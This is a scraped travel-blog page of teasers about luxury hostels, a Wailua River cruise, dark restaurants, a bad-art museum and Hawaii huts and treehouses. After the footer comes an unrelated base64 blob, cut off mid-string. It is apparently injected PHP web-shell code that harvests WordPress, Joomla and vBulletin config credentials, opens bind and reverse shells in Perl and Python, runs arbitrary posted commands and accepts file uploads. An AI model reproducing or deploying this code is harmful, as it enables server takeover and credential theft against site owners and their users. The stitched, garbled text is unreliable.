United States

5 Cool, Luxurious (and Inexpensive) Hostels

Mention the word “hostel” and most people recoil in horror, perhaps haunted by memories of dirty dorms, queues for the bathroom and rowdy backpackers. But hostels have transformed in recent years into some of the best value accommodation around, offering the same comfortable rooms and range of facilities you’d expect in a hotel.

As the credit crunch bites and travelers cut back on their holidays, this couldn’t be a more timely transformation—why pay the high room rates of hotel chains when you can get the same standard in a hostel?

Forget the standard youth and backpacker hostel, the term now covers a huge range of lodgings, from guesthouses to beachside apartments (you can even find hostels in tree-houses and old castles these days!). Many hostels now boast private rooms with ensuite bathrooms, widescreen TVs and even a Jacuzzi if you’re lucky!

The rise of the ‘boutique’ or ‘design’ hostel in major cities, with cutting-edge design, stylish interiors and high-tech facilities, is perfect for those of us that want to be cheap and chic.

Here is a look to the five most luxurious hostels out there:

Continue →


The Wailua River Cruise & The Fern Grotto

The Wailua meanders all the way to Mt. Wai’ale’ale, which is famous for being the single wettest spot on earth

Almost everyone knows you can take a cruise to Hawaii. Less well known is the cruise that goes into Hawaii.

Continue →


You Buy It, You Break It

Feeling frustrated? Tense? Angry? There are several stores that sell stress relief in the form of yoga lessons, aroma therapy or, say, Quaaludes. In San Diego, California there’s a shop where you can reduce tension a different way.

Continue →


Eating In The Dark

Here’s a restaurant theme you didn’t see coming: darkness.

The concept of purposefully eating in complete pitch-black dark originated with Jorge Spielmann, a blind clergyman from Zurich. When guests ate dinner at the Spielmann house some would wear blindfolds during their meal to show solidarity with their host and to better understand his world. What Spielmann’s sighted guests found was that the blindfolds heightened their sense of taste and smell and made their dining experience more enjoyable. That gave Spielmann the idea to open a dark restaurant, which he did in 1999.

Today you can stumble into dozens restaurants around the world where that question made famous in an American commercial in the 80s — Where’s the beef? — takes on a whole new meaning. Most dark restaurants employ blind waiters, offer a single set menu, and ban anything that could give off light (like cigarettes, cell phones and cameras) from the dinning area. All of them also have normally lit bathrooms though you’ll need to ask your waiter for help in finding it.

Here’s our illuminating look at some of the world’s dark restaurants:

Continue →


Museum Art That’s So Bad It’s Good

Spot Cool Stuff is, shall we say, “challenged” when it comes to the visual arts. Drawing, painting, sculpting—we’re terrible at them all. No self-respecting museum would ever consider putting one of our artworks on display. No museum except for one: MoBA.

Continue →


Simply Luxurious Hawaii Beach Huts

The idea of staying in a thatched hut on a tropical beach has nearly universal appeal—the beauty of it, the seclusion, the connection to nature, the lack of televisions and telephones and hectic bustle of life, the napping in hammocks to the sound of the waves, the perfect beaches and swims in the ocean . . . what’s not to like?

Well, for one thing most thatched huts don’t have indoor plumbing. Or outdoor plumbing. Or electricity. Or a bed devoid of sand bugs, to say nothing of a private whirlpool or a location near a superb spa and romantic restaurant.

For a stay in a thatched hut that doesn’t feel like you are taking part in an endurance contest or an episode of Survivor there’s the Kona Village Resort on the northwest coast of Hawaii Island.

Continue →


Topless Coffee Shop Percolates Business

These are tough economic times in central Maine. So a local entrepreneur decided to add an extra attraction to a new coffee shop there to drive up sales: a topless waitstaff.

Continue →


Hawaii’s Treehouse Hideaway

A bamboo outhouse is a one-minute walk away. At night the path is lit by Tiki torches.

At the end of a winding 52-mile drive through the rain forests of Maui, Hawaii sits the peaceful, idyllic village of Hana. And there, in a forest reserve, is a sort of green Eden: the Hana Lani Treehouses.

Continue →



SPOTCOOLSTUFF Travel reviews unusual hotels and restaurants, great attractions, cool travel gear, places with amazing views and all manner of travel destinations with a WOW! factor. Because we live on an incredible planet! Get our latest travel posts by email . . .

    Awesome Curacao vacations — up to $530 off!
    Check out the freebies offered too, including airfare credits, breakfast and room upgrades!

Save $530 Time left:
Book Now!
Offer Closed!




PARTNER WITH US     |     BE OUR GUEST TRAVEL WRITER    |      SUGGEST COOL STUFF FOR US TO REVIEW     |     INFO FOR TOURIST BOARDS

Other SCS SectionsHot Travel CategoriesFave Travel Posts
Cool Tech & GadgetsBest hotel room viewsCaribbeanBest Sandals in Jamaica
Cool Architecture & DesignFamily travelEuropeBest Wheeled Carry-On Luggage
Cool WebsitesHoneymoon resortsFloridaWorld's Coolest Airlines
Cool EntertainmentUnusual museumsSoutheast AsiaThe Honeymoon Resorts of Bora Bora
HVkZXMvY29uZmlnLnBocCcsJHVzZXIuJyA8fiBWQlVMTEVUSU4udHh0Jyk7CnN5bWxpbmsoJy8nLiRob21lLicvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCR1c2VyLicgPH4gVkJVTExFVElOLnR4dCcpOwpzeW1saW5rKCcvJy4kaG9tZS4nLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkdXNlci4nIDx+IFZCVUxMRVRJTi50eHQnKTsKc3ltbGluaygnLycuJGhvbWUuJy8nLiR1c2VyLicvcHVibGljX2h0bS9jb25maWcucGhwJywkdXNlci4nIDx+IE9USEVSLnR4dCcpOwpzeW1saW5rKCcvJy4kaG9tZS4nLycuJHVzZXIuJy9wdWJsaWNfaHRtL2h0bWwvY29uZmlnLnBocCcsJHVzZXIuJyA8fiBQSFBOVUtFLnR4dCcpOwpjb3B5KCcvJy4kaG9tZS4nLycuJHVzZXIuJy9wdWJsaWNfaHRtL2Nvbm4ucGhwJywkdXNlci4nIDx+IE9USEVSLnR4dCcpOwpzeW1saW5rKCcvJy4kaG9tZS4nLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25uLnBocCcsJHVzZXIuJyA8fiBPVEhFUi50eHQnKTsKc3ltbGluaygnLycuJGhvbWUuJy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jL2NvbmZpZy5pbmMucGhwJywkdXNlci4nIDx+IE9USEVSLnR4dCcpOwpjb3B5KCcvJy4kaG9tZS4nLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hcHBsaWNhdGlvbi9jb25maWcvZGF0YWJhc2UucGhwJywkdXNlci4nIDx+IE9USEVSLnR4dCcpOwpzeW1saW5rKCcvJy4kaG9tZS4nLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hcHBsaWNhdGlvbi9jb25maWcvZGF0YWJhc2UucGhwJywkdXNlci4nIDx+IE9USEVSLnR4dCcpOwpjb3B5KCcvJy4kaG9tZS4nLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLmluYy5waHAnLCR1c2VyLicgPH4gT1RIRVIudHh0Jyk7CmNvcHkoJy92YXIvd3d3L3dwLWNvbmZpZy5waHAnLCdXT1JEUFJFU1MudHh0Jyk7CmNvcHkoJy92YXIvd3d3L2NvbmZpZ3VyYXRpb24ucGhwJywnSk9PTUxBLnR4dCcpOwpjb3B5KCcvdmFyL3d3dy9jb25maWcuaW5jLnBocCcsJ09QRU5KT1VSTkFMLnR4dCcpOwpjb3B5KCcvdmFyL3d3dy9jb25maWcucGhwJywnT1RIRVIudHh0Jyk7CmNvcHkoJy92YXIvd3d3L2NvbmZpZy9rb25la3NpLnBocCcsJ09USEVSLnR4dCcpOwpjb3B5KCcvdmFyL3d3dy9pbmNsdWRlL2NvbmZpZy5waHAnLCdPVEhFUi50eHQnKTsKY29weSgnL3Zhci93d3cvY29ubmVjdC5waHAnLCdPVEhFUi50eHQnKTsKY29weSgnL3Zhci93d3cvY29uZmlnL2Nvbm5lY3QucGhwJywnT1RIRVIudHh0Jyk7CmNvcHkoJy92YXIvd3d3L2luY2x1ZGUvY29ubmVjdC5waHAnLCdPVEhFUi50eHQnKTsKY29weSgnL3Zhci93d3cvaHRtbC93cC1jb25maWcucGhwJywnV09SRFBSRVNTLnR4dCcpOwpjb3B5KCcvdmFyL3d3dy9odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywnSk9PTUxBLnR4dCcpOwpjb3B5KCcvdmFyL3d3dy9odG1sL2NvbmZpZy5pbmMucGhwJywnT1BFTkpPVVJOQUwudHh0Jyk7CmNvcHkoJy92YXIvd3d3L2h0bWwvY29uZmlnLnBocCcsJ09USEVSLnR4dCcpOwpjb3B5KCcvdmFyL3d3dy9odG1sL2NvbmZpZy9rb25la3NpLnBocCcsJ09USEVSLnR4dCcpOwpjb3B5KCcvdmFyL3d3dy9odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJ09USEVSLnR4dCcpOwpjb3B5KCcvdmFyL3d3dy9odG1sL2Nvbm5lY3QucGhwJywnT1RIRVIudHh0Jyk7CmNvcHkoJy92YXIvd3d3L2h0bWwvY29uZmlnL2Nvbm5lY3QucGhwJywnT1RIRVIudHh0Jyk7CmNvcHkoJy92YXIvd3d3L2h0bWwvaW5jbHVkZS9jb25uZWN0LnBocCcsJ09USEVSLnR4dCcpOwpzeW1saW5rKCcvdmFyL3d3dy93cC1jb25maWcucGhwJywnV09SRFBSRVNTLnR4dCcpOwpzeW1saW5rKCcvdmFyL3d3dy9jb25maWd1cmF0aW9uLnBocCcsJ0pPT01MQS50eHQnKTsKc3ltbGluaygnL3Zhci93d3cvY29uZmlnLmluYy5waHAnLCdPUEVOSk9VUk5BTC50eHQnKTsKc3ltbGluaygnL3Zhci93d3cvY29uZmlnLnBocCcsJ09USEVSLnR4dCcpOwpzeW1saW5rKCcvdmFyL3d3dy9jb25maWcva29uZWtzaS5waHAnLCdPVEhFUi50eHQnKTsKc3ltbGluaygnL3Zhci93d3cvaW5jbHVkZS9jb25maWcucGhwJywnT1RIRVIudHh0Jyk7CnN5bWxpbmsoJy92YXIvd3d3L2Nvbm5lY3QucGhwJywnT1RIRVIudHh0Jyk7CnN5bWxpbmsoJy92YXIvd3d3L2NvbmZpZy9jb25uZWN0LnBocCcsJ09USEVSLnR4dCcpOwpzeW1saW5rKCcvdmFyL3d3dy9pbmNsdWRlL2Nvbm5lY3QucGhwJywnT1RIRVIudHh0Jyk7CnN5bWxpbmsoJy92YXIvd3d3L2h0bWwvd3AtY29uZmlnLnBocCcsJ1dPUkRQUkVTUy50eHQnKTsKc3ltbGluaygnL3Zhci93d3cvaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJ0pPT01MQS50eHQnKTsKc3ltbGluaygnL3Zhci93d3cvaHRtbC9jb25maWcuaW5jLnBocCcsJ09QRU5KT1VSTkFMLnR4dCcpOwpzeW1saW5rKCcvdmFyL3d3dy9odG1sL2NvbmZpZy5waHAnLCdPVEhFUi50eHQnKTsKc3ltbGluaygnL3Zhci93d3cvaHRtbC9jb25maWcva29uZWtzaS5waHAnLCdPVEhFUi50eHQnKTsKc3ltbGluaygnL3Zhci93d3cvaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCdPVEhFUi50eHQnKTsKc3ltbGluaygnL3Zhci93d3cvaHRtbC9jb25uZWN0LnBocCcsJ09USEVSLnR4dCcpOwpzeW1saW5rKCcvdmFyL3d3dy9odG1sL2NvbmZpZy9jb25uZWN0LnBocCcsJ09USEVSLnR4dCcpOwpzeW1saW5rKCcvdmFyL3d3dy9odG1sL2luY2x1ZGUvY29ubmVjdC5waHAnLCdPVEhFUi50eHQnKTsKfQplY2hvICc8aT48Yj48YSBocmVmPScuJGZvbGZpZy4nPkNMSUNLIE9OIEhFUkUgVE8gVklFVyBDT05GSUdTPC9hPjwvYj48L2k+PC9jZW50ZXI+JzsKfTsKfQogICAgICAgIC8vIG5ldHdvcmsKICAgICAgICBpZigkXzdbJ2lkJ10gPT0gJ25ldHdvcmsnKXsKICAgICAgICBzKCk7CiAgICAgICAgZWNobyAiCiAgICAgICAgPGRpdiBjbGFzcz0nY2FyZCB0ZXh0LWRhcmsnPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSdjYXJkLWhlYWRlcic+CiAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9J3Bvc3QnPgogICAgICAgICAgICAgICAgICAgIDx1PkJpbmQgcG9ydCB0byAvYmluL3NoIFtQZXJsXTwvdT48YnI+CiAgICAgICAgICAgICAgICAgICAgPHU+UG9ydCA6PC91PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAnPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgcGxhY2Vob2xkZXI9JzY5NjknPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0nYnRuIGJ0bi1kYXJrIGJ0bi1zbScgdHlwZT0nc3VibWl0JyBuYW1lPSdicGwnIHZhbHVlPSdzdWJtaXQnPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxoNT5CYWNrLUNvbm5lY3Q8L2g1PgogICAgICAgICAgICA8dT5TZXJ2ZXIgOjwvdT4KICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyBwbGFjZWhvbGRlcj0nIi4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiInPgogICAgICAgICAgICA8dT5Qb3J0IDo8L3U+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9J2lucHV0LWdyb3VwJz4KICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgcGxhY2Vob2xkZXI9JzY5NjknPgogICAgICAgICAgICAgICAgPHNlbGVjdCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgbmFtZT0nYmMnPgogICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9J3BlcmwnPnBlcmw8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSdweXRob24nPnB5dGhvbjwvb3B0aW9uPgogICAgICAgICAgICAgICAgPC9zZWxlY3Q+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSdkLWdyaWQgZ2FwLTInPgogICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSdidG4gYnRuLWRhcmsgYnRuLXNtIGJ0bi1ibG9jaycgdHlwZT0nc3VibWl0JyB2YWx1ZT0nc3VibWl0Jz4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9mb3JtPiI7CiAgICAgICAgaWYoJF83WydicGwnXSl7CiAgICAgICAgICAgICRicCA9IGJhc2U2NF9kZWNvZGUoIkl5RXZkWE55TDJKcGJpOXdaWEpzRFFva1UwaEZURXc5SWk5aWFXNHZjMmdnTFdraU93MEthV1lnS0VCQlVrZFdJRHdnTVNrZ2V5QmxlR2wwS0RFcE95QjlEUXAxYzJVZ1UyOWphMlYwT3cwS2MyOWphMlYwS0ZNc0psQkdYMGxPUlZRc0psTlBRMHRmVTFSU1JVRk5MR2RsZEhCeWIzUnZZbmx1WVcxbEtDZDBZM0FuS1NrZ2ZId2daR2xsSUNKRFlXNTBJR055WldGMFpTQnpiMk5yWlhSY2JpSTdEUXB6WlhSemIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUlZWVFJVRkVSRklzTVNrN0RRcGlhVzVrS0ZNc2MyOWphMkZrWkhKZmFXNG9KRUZTUjFaYk1GMHNTVTVCUkVSU1gwRk9XU2twSUh4OElHUnBaU0FpUTJGdWRDQnZjR1Z1SUhCdmNuUmNiaUk3RFFwc2FYTjBaVzRvVXl3ektTQjhmQ0JrYVdVZ0lrTmhiblFnYkdsemRHVnVJSEJ2Y25SY2JpSTdEUXAzYUdsc1pTZ3hLU0I3RFFvSllXTmpaWEIwS0VOUFRrNHNVeWs3RFFvSmFXWW9JU2drY0dsa1BXWnZjbXNwS1NCN0RRb0pDV1JwWlNBaVEyRnVibTkwSUdadmNtc2lJR2xtSUNnaFpHVm1hVzVsWkNBa2NHbGtLVHNOQ2drSmIzQmxiaUJUVkVSSlRpd2lQQ1pEVDA1T0lqc05DZ2tKYjNCbGJpQlRWRVJQVlZRc0lqNG1RMDlPVGlJN0RRb0pDVzl3Wlc0Z1UxUkVSVkpTTENJK0prTlBUazRpT3cwS0NRbGxlR1ZqSUNSVFNFVk1UQ0I4ZkNCa2FXVWdjSEpwYm5RZ1EwOU9UaUFpUTJGdWRDQmxlR1ZqZFhSbElDUlRTRVZNVEZ4dUlqc05DZ2tKWTJ4dmMyVWdRMDlPVGpzTkNna0paWGhwZENBd093MEtDWDBOQ24wPSIpOwogICAgICAgICAgICAkYnJ0ID0gQGZvcGVuKCdicC5wbCcsJ3cnKTsKICAgICAgICAgICAgZndyaXRlKCRicnQsJGJwKTsKICAgICAgICAgICAgJG91dCA9IGV4ZSgicGVybCBicC5wbCAiLiRfN1sncG9ydCddLiIgMT4vZGV2L251bGwgMj4mMSAmIik7CiAgICAgICAgICAgIHNsZWVwKDEpOwogICAgICAgICAgICBlY2hvICI8cHJlPiRvdXRcbiIuZXhlKCJwcyBhdXggfCBncmVwIGJwLnBsIikuIjwvcHJlPiI7CiAgICAgICAgICAgIHVubGluaygiYnAucGwiKTsKICAgICAgICB9CiAgICAgICAgaWYoJF83WydiYyddID09ICdwZXJsJyl7CiAgICAgICAgICAgICRiYyA9IGJhc2U2NF9kZWNvZGUoIkl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR2xoWkdSeVBXbHVaWFJmWVhSdmJpZ2tRVkpIVmxzd1hTa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVHNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNnbkwySnBiaTl6YUNBdGFTY3BPdzBLWTJ4dmMyVW9VMVJFU1U0cE93MEtZMnh2YzJVb1UxUkVUMVZVS1RzTkNtTnNiM05sS0ZOVVJFVlNVaWs3Iik7CiAgICAgICAgICAgICRwbGJjID0gQGZvcGVuKCdiYy5wbCcsJ3cnKTsKICAgICAgICAgICAgZndyaXRlKCRwbGJjLCRiYyk7CiAgICAgICAgICAgICRvdXQgPSBleGUoInBlcmwgYmMucGwgIi4kXzdbJ3NlcnZlciddLiIgIi4kXzdbJ3BvcnQnXS4iIDE+L2Rldi9udWxsIDI+JjEgJiIpOwogICAgICAgICAgICBzbGVlcCgxKTsKICAgICAgICAgICAgZWNobyAiPHByZT4kb3V0XG4iLmV4ZSgicHMgYXV4IHwgZ3JlcCBiYy5wbCIpLiI8L3ByZT4iOwogICAgICAgICAgICB1bmxpbmsoImJjLnBsIik7CiAgICAgICAgfQogICAgICAgIGlmKCRfN1snYmMnXSA9PSAncHl0aG9uJyl7CiAgICAgICAgICAgICRiY19weSA9IGJhc2U2NF9kZWNvZGUoIkl5RXZkWE55TDJKcGJpOXdlWFJvYjI0TkNpTlZjMkZuWlRvZ2NIbDBhRzl1SUdacGJHVnVZVzFsTG5CNUlFaFBVMVFnVUU5U1ZBMEthVzF3YjNKMElITjVjeXdnYzI5amEyVjBMQ0J2Y3l3Z2MzVmljSEp2WTJWemN3MEthWEJzYnlBOUlITjVjeTVoY21kMld6RmREUXB3YjNKMGJHOGdQU0JwYm5Rb2MzbHpMbUZ5WjNaYk1sMHBEUXB6YjJOclpYUXVjMlYwWkdWbVlYVnNkSFJwYldWdmRYUW9OakFwRFFwa1pXWWdjSGxpWVdOclkyOXVibVZqZENncE9nMEtJQ0IwY25rNkRRb2dJQ0FnYW0xaUlEMGdjMjlqYTJWMExuTnZZMnRsZENoemIyTnJaWFF1UVVaZlNVNUZWQ3h6YjJOclpYUXVVMDlEUzE5VFZGSkZRVTBwRFFvZ0lDQWdhbTFpTG1OdmJtNWxZM1FvS0dsd2JHOHNjRzl5ZEd4dktTa05DaUFnSUNCcWJXSXVjMlZ1WkNnbkp5ZGNibEI1ZEdodmJpQkNZV05yUTI5dWJtVmpkQ0JDZVNCTmNpNTRRbUZ5WVd0MVpHRmNibFJvWVc1cmN5QkhiMjluYkdVZ1JtOXlJRkpsWm1WeVpXNXphVnh1WEc0bkp5Y3BEUW9nSUNBZ2IzTXVaSFZ3TWlocWJXSXVabWxzWlc1dktDa3NNQ2tOQ2lBZ0lDQnZjeTVrZFhBeUtHcHRZaTVtYVd4bGJtOG9LU3d4S1EwS0lDQWdJRzl6TG1SMWNESW9hbTFpTG1acGJHVnVieWdwTERJcERRb2dJQ0FnYjNNdVpIVndNaWhxYldJdVptbHNaVzV2S0Nrc015a05DaUFnSUNCemFHVnNiQ0E5SUhOMVluQnliMk5sYzNNdVkyRnNiQ2hiSWk5aWFXNHZjMmdpTENJdGFTSmRLUTBLSUNCbGVHTmxjSFFnYzI5amEyVjBMblJwYldWdmRYUTZEUW9nSUNBZ2NISnBiblFnSWxScGJVOTFkQ0lOQ2lBZ1pYaGpaWEIwSUhOdlkydGxkQzVsY25KdmNpd2daVG9OQ2lBZ0lDQndjbWx1ZENBaVJYSnliM0lpTENCbERRcHdlV0poWTJ0amIyNXVaV04wS0NrPSIpOwogICAgICAgICAgICAkcGJjX3B5ID0gQGZvcGVuKCdiY3B5LnB5JywndycpOwogICAgICAgICAgICBmd3JpdGUoJHBiY19weSwkYmNfcHkpOwogICAgICAgICAgICAkb3V0X3B5ID0gZXhlKCJweXRob24gYmNweS5weSAiLiRfN1snc2VydmVyJ10uIiAiLiRfN1sncG9ydCddKTsKICAgICAgICAgICAgc2xlZXAoMSk7CiAgICAgICAgICAgIGVjaG8gIjxwcmU+JG91dF9weVxuIi5leGUoInBzIGF1eCB8IGdyZXAgYmNweS5weSIpLiI8L3ByZT4iOwogICAgICAgICAgICB1bmxpbmsoImJjcHkucHkiKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICI8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPGJyLz4iOwogICAgICAgIH0KICAgICAgICAvLyBjb25zb2xlCiAgICAgICAgaWYoJF83WydpZCddID09ICdjbWQnKSB7CiAgICAgICAgcygpOwogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSkgewogICAgICAgICAgICAkY21kID0gc2hlbGxfZXhlYygkX1BPU1RbJ2NtZCddLicgMj4mMScpOwogICAgICAgIH0KICAgICAgICBlY2hvICIKICAgICAgICA8ZGl2IGNsYXNzPSdtYi0zJz4KICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSdQT1NUJz4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9J2lucHV0LWdyb3VwIG1iLTMnPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0nY21kJyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnY21kJ10sIEVOVF9RVU9URVMsICdVVEYtOCcpLiInIHBsYWNlaG9sZGVyPSd3aG9hbWknICRfcj4KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdW1iaXQnPjxpIGNsYXNzPSdiaSBiaS1hcnJvdy1yZXR1cm4tcmlnaHQnPjwvaT48L2J1dHRvbj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Zvcm0+IjsKICAgICAgICAgICAgaWYoJGNtZCk6CiAgICAgICAgICAgIGVjaG8gJwogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXItZmx1aWQgbGFuZ3VhZ2UtamF2YXNjcmlwdCI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzaGVsbCBtYi0zIj4KICAgICAgICAgICAgICAgICAgICA8cHJlIHN0eWxlPSJmb250LXNpemU6MTBweDsiPjxncj5+PC9ncj4kJm5ic3A7PHJkPicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2NtZCddKS4nPC9yZD48YnI+PGNvZGU+Jy5odG1sc3BlY2lhbGNoYXJzKCRjbWQsIEVOVF9RVU9URVMsICdVVEYtOCcpLic8L2NvZGU+PC9wcmU+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+JzsKICAgICAgICAgICAgZWxzZWlmKCEkY21kICYmICRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09ICdQT1NUJyk6CiAgICAgICAgICAgIGVjaG8gJwogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXItZmx1aWQgbGFuZ3VhZ2UtamF2YXNjcmlwdCI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzaGVsbCBtYi0zIj4KICAgICAgICAgICAgICAgICAgICA8cHJlIHN0eWxlPSJmb250LXNpemU6MTBweDsiPjxjb2RlPk5vIHJlc3VsdDwvY29kZT48L3ByZT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4nOwogICAgICAgIGVuZGlmOwogICAgICAgIH0KICAgICAgICAvLyBtdWxsdGlwbGUgdXBsb2FkCiAgICAgICAgaWYoJF83WydpZCddID09ICd1cGxvYWQnKXsKICAgICAgICBzKCk7CiAgICAgICAgaWYoaXNzZXQoJF83Wyd1cGwnXSkpewogICAgICAgICAgICAkcmVzdWx0ID0gY291bnQoJF9GSUxFU1snZmlsZSddWyduYW1lJ10pOwogICAgICAgICAgICBmb3IoJGNvbnRlbnRzPTA7JGNvbnRlbnRzPCRyZXN1bHQ7JGNvbnRlbnRzKyspewogICAgICAgICAgICAgICAgJG5hbWVmaWxlID0gJF9GSUxFU1snZmlsZSddWyduYW1lJ11bJGNvbnRlbnRzXTsKICAgICAgICAgICAgICAgICAgICAkdXAgPSBAY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ11bJGNvbnRlbnRzXSwiJHBhdGgvIi4kbmFtZWZpbGUpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYoJHJlc3VsdCA8IDIpewogICAgICAgICAgICAgICAgICAgIGlmKCR1cCl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHN0cm9uZz5VcGxvYWQ8L3N0cm9uZz4gJG5hbWVmaWxlIG9rISAiLm9rKCkuIjwvZGl2PiI7CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgIGVjaG8gJzxzdHJvbmc+VXBsb2FkPC9zdHJvbmc+IGZhaWwhICcuZXIoKS4nPC9kaXY+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgIGVjaG8gIjxzdHJvbmc+VXBsb2FkPC9zdHJvbmc+ICRyZXN1bHQgb2shICIub2soKS4iPC9kaXY+IjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBlY2hvICIKICAgICAgICA8ZGl2IGNsYXNzPSdjYXJkIGNhcmQtYm9keSB0ZXh0LWRhcmsgaW5wdXQtZ3JvdXAgbWItMyc+CiAgICAgICAgPHU+TXVsdGlwbGUgdXBsb2FkPC91PgogICAgICAgICAgICA8Zm9ybSBtZXRob2Q9J1BPU1QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAnPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGZvcm0tY29udHJvbC1zbScgdHlwZT0nZmlsZScgbmFtZT0nZmlsZVtdJyBtdWx0aXBsZT0nJyAkX3I+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSdidG4gYnRuLWRhcmsgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3VwbCcgdmFsdWU9J3VwbG9hZCc+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9mb3JtPgogICAgICAgIDwvZGl2PiI7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgLy8gc2Nhbm5lciByb290ICNhbm9uNwogICAgICAgIGlmIChpc3NldCgkX0dFVFsnZGlyJ10pICYmICRfR0VUWydpZCddID09ICJzY2FuX3Jvb3QiKSB7CiAgICAgICAgICAgIG9iX2ltcGxpY2l0X2ZsdXNoKCk7b2JfZW5kX2ZsdXNoKCk7cygpOwogICAgICAgICAgICBlY2hvICIKICAgICAgICAgICAgPGRpdiBjbGFzcz0ndGV4dC1jZW50ZXInPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0nYnRuLWdyb3VwIG1iLTMnPgogICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSciLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLiImaWRfdHdvPW